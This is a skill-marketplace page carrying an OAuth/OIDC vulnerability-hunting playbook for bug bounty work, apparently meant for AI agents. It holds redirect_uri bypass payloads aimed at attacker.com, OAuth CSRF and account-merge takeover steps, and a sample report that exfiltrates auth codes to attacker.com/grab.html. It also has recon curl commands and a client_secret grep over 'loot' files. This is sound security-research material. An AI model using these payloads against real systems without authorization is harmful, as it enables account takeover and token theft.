Probe subdomain list with httpx/dnsx/naabu to identify live hosts, open ports, status codes, titles, and basic fingerprints. Use after subdomain-enum produces a sub list. Output feeds into fingerprinting and content discovery.
中文简介正在准备中。当前显示原文说明。
Hunt OAuth 2.0 and OIDC flaws — redirect_uri abuse, state CSRF, PKCE bypass, scope manipulation, implicit-flow token theft, postMessage origin tricks, ID token sub claim swap, JWKS confusion, response_type confusion, and OAuth-CSRF. Use when an app has Google/GitHub/Facebook/Apple/custom OAuth or OpenID Connect.
中文简介正在准备中。当前显示原文说明。
实测评分 未实测
查看安装方法安装前可以查看交给 AI 代理的指令内容。
The most-misimplemented protocol on the web. Critical bugs every year.
Trigger phrases:
1. Client → /oauth/authorize?client_id=X&redirect_uri=R&response_type=code&scope=S&state=Z
2. Auth server → user logs in / consents
3. Auth server → redirects to R with ?code=Y&state=Z
4. Client backend → POST /oauth/token with code=Y → access_token + (id_token if OIDC)
5. Client uses access_token to access API
Where things break:
redirect_uri validationstate validationcode reuseclient_secret storage / exposureid_token claim trustIf validation accepts any https://*.target.com:
redirect_uri=https://attacker-controlled-sub.target.com/callback
Test:
abandoned.target.com)target.com chained to OAuthhttps://tаrget.com/callback (Cyrillic а)If validation only checks host but not path:
Registered: https://app.target.com/oauth/callback
Try: https://app.target.com/oauth/callback/../redirect?url=https://attacker.com
Try: https://app.target.com/anything (if just host check)
Registered: https://target.com/callback
Try: https://target.com/callback.attacker.com (host substring)
Try: https://target.com.attacker.com/callback (subdomain confusion)
Try: https://attacker.com#@target.com/callback (URL parser confusion)
Try: https://target.com@attacker.com/callback (userinfo)
?redirect_uri=https://target.com/callback&redirect_uri=https://attacker.com
?redirect_uri[]=https://target.com/callback&redirect_uri[]=https://attacker.com
Some servers use first, some use last → mismatched expectations → bypass.
response_type=code → token returned via backend (safer)
response_type=token → token in URL fragment (implicit flow)
response_type=id_token token → token in fragment
# Some apps use code but accept token if asked:
?response_type=code+token → may expose token in URL
If state is not validated:
Attacker logs in to attacker's account at target.com
Attacker initiates OAuth: /oauth/authorize?...&state=ATT_STATE
Attacker captures the redirect URL with code=ATT_CODE
Attacker tricks victim into clicking: /oauth/callback?code=ATT_CODE&state=ATT_STATE
Victim's session now bound to attacker's social account
Attacker logs into victim's session via the social account
This is "OAuth CSRF" — high impact, often missed.
PKCE adds code_verifier/code_challenge to prevent code interception. If server doesn't enforce:
Standard flow:
client → /authorize?code_challenge=CC&code_challenge_method=S256
server returns code C
client → /token with code=C, code_verifier=V (where SHA256(V) === CC)
Vulnerability:
server accepts /token without code_verifier
→ attacker who intercepted C can exchange it
Test: send /oauth/token without code_verifier → if accepted, PKCE not enforced.
?scope=read (default)
?scope=read write admin
?scope=read,write,admin
?scope[]=admin
If server accepts and grants admin scope → privilege escalation.
OIDC id_token contains user identity. Some apps trust claims without re-verifying:
{
"sub": "google-12345",
"email": "victim@example.com",
"email_verified": false
}
If app links account by email without checking email_verified:
victim@example.com with email_verified: false → linked to victim's existing account → ATOModify ID token claims (if signing flaw exists — see [[jwt-attacks]]):
sub to victim's IDemailemail_verified: trueSign in with one provider, then the app might let another provider use the same email:
Sign up with Apple as victim@example.com → account A
Attacker signs up with Google as victim@example.com → also account A?
Some apps merge accounts → ATO.
OAuth popup flow uses window.postMessage to send token back:
// Vulnerable parent listener:
window.addEventListener('message', (e) => {
// No origin check!
const token = e.data.token;
fetch('/api/login-with-token', {body: token});
});
Attacker hosts page that opens target, then sends postMessage with fake token.
The spec says auth codes are one-time. If reusable:
Capture code → use → use again (should fail but...)
Replay until expired.
Common paths:
/oauth/authorize
/oauth2/authorize
/auth/oauth2/authorize
/connect/authorize (OIDC discovery)
/oauth/token
/oauth2/token
/oauth/callback
/oauth-callback
/auth/callback
/login/oauth2/code/{provider} (Spring)
/api/auth/callback/{provider} (NextAuth)
/.well-known/openid-configuration (OIDC metadata)
/.well-known/oauth-authorization-server
/jwks
/.well-known/jwks.json
Get metadata if available:
curl https://target.com/.well-known/openid-configuration | jq .
Open dev tools → Network tab → Click "Sign in with Google" (or similar). Capture every request:
/authorize with params/oauth-callback?code=...&state=...Save the full HAR file for analysis.
For redirect_uri:
#, ?, @, \ separatorsFor state:
For scope:
For client_id:
client_id for routing → wrong client gets right tokenTry /oauth/token request without code_verifier. Try with wrong code_verifier. If accepted → PKCE not enforced.
If target has open redirect at /redirect?url=X:
redirect_uri=https://target.com/redirect?url=https://attacker.com/grab
Auth server validates redirect_uri is target.com ✓ → sends token there → /redirect forwards to attacker.
For OIDC, get the JWKS:
curl https://target.com/.well-known/jwks.json
Try id_token attacks: alg=none, RS→HS confusion, jku injection — see [[jwt-attacks]].
# OAuthScan
git clone https://github.com/CompassSecurity/oauthscan
python3 oauthscan.py -u https://target.com/oauth/authorize
# Burp's "JWT Editor" + manual replay
# Burp's "OAuth & SAML" extension
# OAuth dance recorder (for manual analysis)
# Use Burp Repeater + macros for token exchange flows
## Critical: OAuth account takeover via open redirect on redirect_uri
### Summary
The `/oauth/callback` flow validates `redirect_uri` against `*.target.com`, but the application exposes `/redirect?to=<url>` which forwards to attacker domains. Chaining these allows OAuth `code` interception → full ATO.
### Steps to reproduce
1. Attacker hosts `https://attacker.com/grab.html` (logs all incoming `code` query params)
2. Attacker sends victim this link:
https://target.com/oauth/authorize? client_id=ABC& response_type=code& redirect_uri=https://target.com/redirect?to=https://attacker.com/grab.html& state=random
3. Victim, already logged in via Google, sees `target.com` in URL → trusts → clicks
4. Authorization server validates `redirect_uri` starts with `https://target.com` ✓
5. Issues code, redirects to `https://target.com/redirect?to=https://attacker.com/grab.html&code=AUTH_CODE&state=random`
6. `/redirect` endpoint follows → `Location: https://attacker.com/grab.html?code=AUTH_CODE&state=random`
7. Attacker server logs `code=AUTH_CODE`
8. Attacker calls `/oauth/token` with the stolen code → gets `access_token` + `id_token`
9. Attacker uses token: full session as victim
### Impact
- Full account takeover with single victim click
- All resources, billing, project data accessible
- Persistent (until access_token expires; refresh token included → permanent)
### Suggested fix
1. Strictly whitelist `redirect_uri` to exact registered URIs (no `startsWith` validation)
2. Remove the `/redirect?to=` open redirect
3. Enforce PKCE for all clients
4. Validate `state` server-side
[[ato-chains]] — OAuth is a major ATO path[[auth-bypass]] — OAuth-CSRF is auth bypass[[jwt-attacks]] — id_token attacks[[xss]] — XSS on callback page = token theft| Finding | Severity |
|---|---|
| redirect_uri bypass enabling token theft | Critical |
| state not validated → OAuth CSRF | High |
| PKCE not enforced (when client should use it) | Medium-High |
Open redirect on /oauth/callback | High (chain) |
| Scope upgrade (admin) | Critical |
id_token claim trust (email_verified ignored) | Critical |
| code reusable | High |
| client_secret in JS bundle | Critical |
| JWKS jku injection | Critical |
# Find OAuth providers
curl https://target.com | grep -iE 'google|github|facebook|microsoft|apple|sso|oauth|openid'
# OIDC discovery
curl https://target.com/.well-known/openid-configuration | jq .
# Check JWKS
curl https://target.com/.well-known/jwks.json | jq .
# Check for client_secret leakage in JS
cat loot/target/js/files/*.js | grep -iE 'client_secret|consumer_secret' | head
还没有评价。欢迎分享你的使用感受。
无需登录即可发表。欢迎分享使用感受、提问,或说明在哪些环境下无法运行。
还没有评论。来写第一条吧。
Probe subdomain list with httpx/dnsx/naabu to identify live hosts, open ports, status codes, titles, and basic fingerprints. Use after subdomain-enum produces a sub list. Output feeds into fingerprinting and content discovery.
中文简介正在准备中。当前显示原文说明。
Hunt full Account Takeover (ATO) by chaining lower-severity findings — IDOR-to-email-disclosure, password-reset-token-theft, OAuth-redirect-uri abuse, response-manipulation, cookie scope, CRLF in Set-Cookie, race-condition on signup. Use when the user wants to escalate small findings to ATO or thinks an ATO path exists.
中文简介正在准备中。当前显示原文说明。
Hunt authentication and authorization bypasses — forced browsing, path traversal in auth, header injection, JWT downgrade, OAuth state confusion, role manipulation. Use when an endpoint returns 401/403 but appears reachable.
中文简介正在准备中。当前显示原文说明。
Write Bugcrowd-format reports — VRT (Vulnerability Rating Taxonomy) mapping, P1-P5 severity, impact-led writing, and Bugcrowd-specific submission etiquette. Use AFTER triage-validation passes for Bugcrowd programs.
中文简介正在准备中。当前显示原文说明。
Hunt business logic flaws — race conditions, workflow state bypass, parameter pollution affecting logic, coupon/discount abuse, refund logic, multi-step process bypass, integer overflow, negative quantities, double-spend. Use when looking for non-CVE bugs that require understanding the app's intended workflow.
中文简介正在准备中。当前显示原文说明。
Hunt web cache poisoning, CDN cache poisoning, and cache deception attacks. Use when target uses a CDN (Cloudflare, Akamai, Fastly, AWS CloudFront) or has Varnish/nginx caches and you want to identify cache key flaws that let attackers serve malicious content to other users.
中文简介正在准备中。当前显示原文说明。